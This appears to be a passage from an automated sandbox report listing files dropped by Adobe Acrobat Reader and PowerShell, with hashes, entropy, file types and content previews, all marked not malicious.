Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.251706946580438
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJfbPtdPeUkwRe9:YvXKXBK2vR/ZwHAIGDV8Ukee9
MD5:	1B24CE801B5EC70D97D8CCDBDD93461C
SHA1:	5AB46E0F9D9DD333926835304E3E8CE0BBB6AC5F
SHA-256:	B085D5768F6541BA366731DF5AFC0ED65B23EAF9B4D524BB13F7752099BC28FF
SHA-512:	68BBE7AA2D626E63305D62522AAEA91074FDF8C18D1D6B748A0C1078B835ED84F3948D53F6DE466737F6D66EC61A37E15ABE1BCC9E841D76AB1CA5CFD9DBD2A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2506019962363135
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJf21rPeUkwRe9:YvXKXBK2vR/ZwHAIG+16Ukee9
MD5:	005882559EFA9B6ABFEB2C7E6583DB83
SHA1:	B6DB40597CD59A12EEB1C934C298158C4AF30F99
SHA-256:	F01C972519D43ED7FE61F1495164578937F2A91E2FEFF07A4DC1ED1A87373015
SHA-512:	ED03F41A371E6DA18ABA439B09498EEFED5B920BE0B773A570884E8B80B80AE95920D3B28FD717BE2A19CE3D54A2B8A9F18271C31568A30C89DE938C97C071F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667928766553043
Encrypted:	false
SSDEEP:	24:Yv6Xw2JhpamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:YvWJh1BgkDMUJUAh8cvMQ
MD5:	D6DF637D7E434C8052E641742BA82CDA
SHA1:	4695EA788E5705D9AEC097BF8BE5D2FDADF1A63A
SHA-256:	A8ABE749BC6E43DFA0ACAF6FCB5B4738A744E8888A651AA266C4DC7F85105F53
SHA-512:	342176170E1F019D9CC7F5ACB14F7112FD5D82C31841510EC2873923C33FB95DF427AA4D642D6D6B8B0FCA1DC1E191F755F005577BCEB7B82B5A4A0759EAF0FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.224799272171464
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJfshHHrPeUkwRe9:YvXKXBK2vR/ZwHAIGUUUkee9
MD5:	441AA4885BF68F3E3E4E48333AB46C84
SHA1:	BAFA28A9367D9DC4DC77E599F1DE1A4EFB440773
SHA-256:	7C44A9E050141C5691C94CAF1F313338AC9A40B3BA3B79B5B49CFA7B5992BCBD
SHA-512:	7B762557DC70EBB8435B348E3E6072ABCD822D09277C5FB12687480F5E07918ECE4036B2FC45F078F840C5C12B6B6E11866B48E7C745AE00FA0D099F310D359D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2504007365886745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBc12vB3/dVlPIHAR0YpVoAvJTqgFCrPeUkwRe9:YvXKXBK2vR/ZwHAIGTq16Ukee9
MD5:	39AC8A53F913343063F3D04C4BAD81A6
SHA1:	16C6DE1BA9DEC168B536F2525546EF15FC8254A6
SHA-256:	CD4B82B321D11040BBA4D7A11A5FE2D2CACDBEF34E7867A9B6A90C733ED723B2
SHA-512:	3C6EAF7BEC8B5EDF7367C8AB924605A2809E3D98B4B8CE67AA1D9D65EE285E7473AF0233830D0A088EAADCD14BACBBBF9EF5B49F2F08A0EA7979B6003D01BD2C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"56dc6eff-ed94-4ff7-8435-803308afa8a6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736755457101,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.15012204257181
Encrypted:	false
SSDEEP:	24:Ye5akEpay/y9FkfIMd+mdUNajSn3j0SCe22PEEIx12LScCEJZpZ907bJ5H9xquSj:Y9uOAMDWSuI1EIx1OPJnZ907dF9xe
MD5:	81BBA3E20EA89AF9303B533C2996FE15
SHA1:	C6E0EC60BE036D2FA67D0B0EA8E97863214EF01B
SHA-256:	CFC5F219E75DCBC5B733F0FCC106DA3D5B96F6440FC70437995F0AB634D7FC18
SHA-512:	5C905E93BF21694B7B12BBD58996C58792DAA10F485EB0862172B7E25725C42619FF722811351063DB01118F366F6D234844F815B3562E1F942771A56501A493
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c6fbb26a5ca9a147bd249d2180d328f0","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736578036000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d9f40dec16aa4197d34c30bf22052adb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736578036000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d1b57eb52e2c166ce1fb1b899d947107","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736578036000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"bd2e5b72c928e71cdba9c94cfbd2d12a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736578036000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"224293484cf7e0a5cf190c8ebe1725fb","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736578036000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3e6cb7593d857b140b2a1b3389c9d12f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3174986969651747
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeTtqVpae:TGufl2GL7ms9WR1CPmPbPahJypilIr
MD5:	2FF442724AA6764FECB3A5F11F76CA92
SHA1:	3D5082E40DBF375994C04D8E532AE5847B70F02A
SHA-256:	5D574FAD87C2781A3C42283DB9555091E0E73C699D02348D847CEF63D16299B7
SHA-512:	8CEB27553B937ADC9AE9D208DFD7B95CB673B74878F4A269C558C92B9B8C358C424DD207A575DAC8228076695729FDDE113330C80EB871A8AB24F1C1E26997F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7766743421052096
Encrypted:	false
SSDEEP:	24:7+tJlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeT4qVpaVrScVr0InZqLhx/Xl:7MmWR1CPmPbPah8ypilIgqFl2GL7ms7
MD5:	0BFD62C1B578AEE1C19C87145724F62E
SHA1:	DC4387CC57179B02E94D6D2AE859974358335471
SHA-256:	9B69D196785E7C34E9851259F979378E830B6194CBBD1C64BCCD32FB8A5FB689
SHA-512:	00989F58FE780960978E3098234D9A1675A3315B2DF9637362CD9ED546C79B8EB0491CF9A07F63A8D73E0F1F40A098F9269957887E94F2C1B6247DB9350A8780
Malicious:	false
Preview:	.... .c.....RKtb..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgN7+4vdBAMsdRGQudmGEv+phEFxofYyu:6a6TZ44ADEIkAMsOhdZ0aHfK
MD5:	A46D6BE2595F5076D6D31735EA70AD40
SHA1:	D27722E614BAEE77C397A61A605C37C379CEAFAB
SHA-256:	1A870E5669DFCD7BE7BC9ED5C838C3F5FA033F2F88FB66F249A50B76CAE52CD1
SHA-512:	1C111CC04F02378F0F072C0AFB25C23F70878C23D7E2B577A7D90DD543D47E9D9AF499CF95E97F509A186AB64F8117B075EBCF71C77F4DAA5A4EAAFD5F76A79B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI79778.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493700856943585
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8tIH:Qw946cPbiOxDlbYnuRKdGH
MD5:	099512BF8FDBDBE40DD88E030E2813F6
SHA1:	954B617B0AB2A6F678AC739F2AA0B4243CE8A8A8
SHA-256:	074D7A40D0369A7920808E61CF84B41310E8334B508F86A6CDDA97629534E0C6
SHA-512:	9B9310301382438279A7C071D7DB91DD5B0D5EFE5BB52342B8D42E9B728165DFC41F61D8FD4F962E83058C35E91FBB02A3EC925C7305EF68550590BC1FDBC8A0
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.4.7.:.1.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_obtuw0ek.2yq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_txeqz0va.wkp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-47-09-539.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3437036192111265
Encrypted:	false
SSDEEP:	384:25uV50V5lV5MV5eV5c5Z95U5x5/5E57Cbr5WG5t5Q55585R5d5W5851fmZiVrsJ+:Qur0rlrMrer6ZDCXBSeRlT+va3jwa1v
MD5:	1ECCA6C1167888CEA94DBFA38C5E3EEE
SHA1:	8164981000DEE2CCAB492396AFAE9DA8A3982E66
SHA-256:	D0F015E2761542EC0F335202DE15621BFA0BBA5153B842650C89AD9BF9AD57B3
SHA-512:	671492DE6DF961B4E377624BF15EF3957EC0C3DB514F7090116D1E13023FF0525EBBE3F543E13CA1EBA30556D2D6F16FF162730CF4B277BA2494E1D6C452C323
Malicious:	false
Preview:	SessionID=440306ca-679e-47e1-ab26-9adc1e17dbf0.1736578029581 Timestamp=2025-01-11T01:47:09:581-0500 ThreadID=7364 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=440306ca-679e-47e1-ab26-9adc1e17dbf0.1736578029581 Timestamp=2025-01-11T01:47:09:599-0500 ThreadID=7364 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=440306ca-679e-47e1-ab26-9adc1e17dbf0.1736578029581 Timestamp=2025-01-11T01:47:09:599-0500 ThreadID=7364 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=440306ca-679e-47e1-ab26-9adc1e17dbf0.1736578029581 Timestamp=2025-01-11T01:47:09:599-0500 ThreadID=7364 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=440306ca-679e-47e1-ab26-9adc1e17dbf0.1736578029581 Timestamp=2025-01-11T01:47:09:599-0500 ThreadID=7364 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.406221452210149
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbwcboIzNUS4upEzMcbv3YJZdk:ceo4+rsCtzA
MD5:	EDF1A3977F1F33C6CA0E8B5C90D8CEA1
SHA1:	4E4643C5E6E590CCB495ACBDEEA891350AA1C084
SHA-256:	0332D9A6B42E4B8AB97F71827BA0F51AD425813A8F90BEAE6821AD9BA0BB5766
SHA-512:	D095C36D0B890E450D8A9A25517E1A9742630F085B87B22646882F7148F75771836E2E2A1D0D8AD459EFA89AB02581B7CC5EFDAD31A96CA755076ED59ADA0576
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\595451e6-b94f-42b1-9e28-cefb487228dc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\826b6ba5-9cf9-4441-a530-da663961d3e5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c191e213-bfad-4326-9141-fb9f640c0a49.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
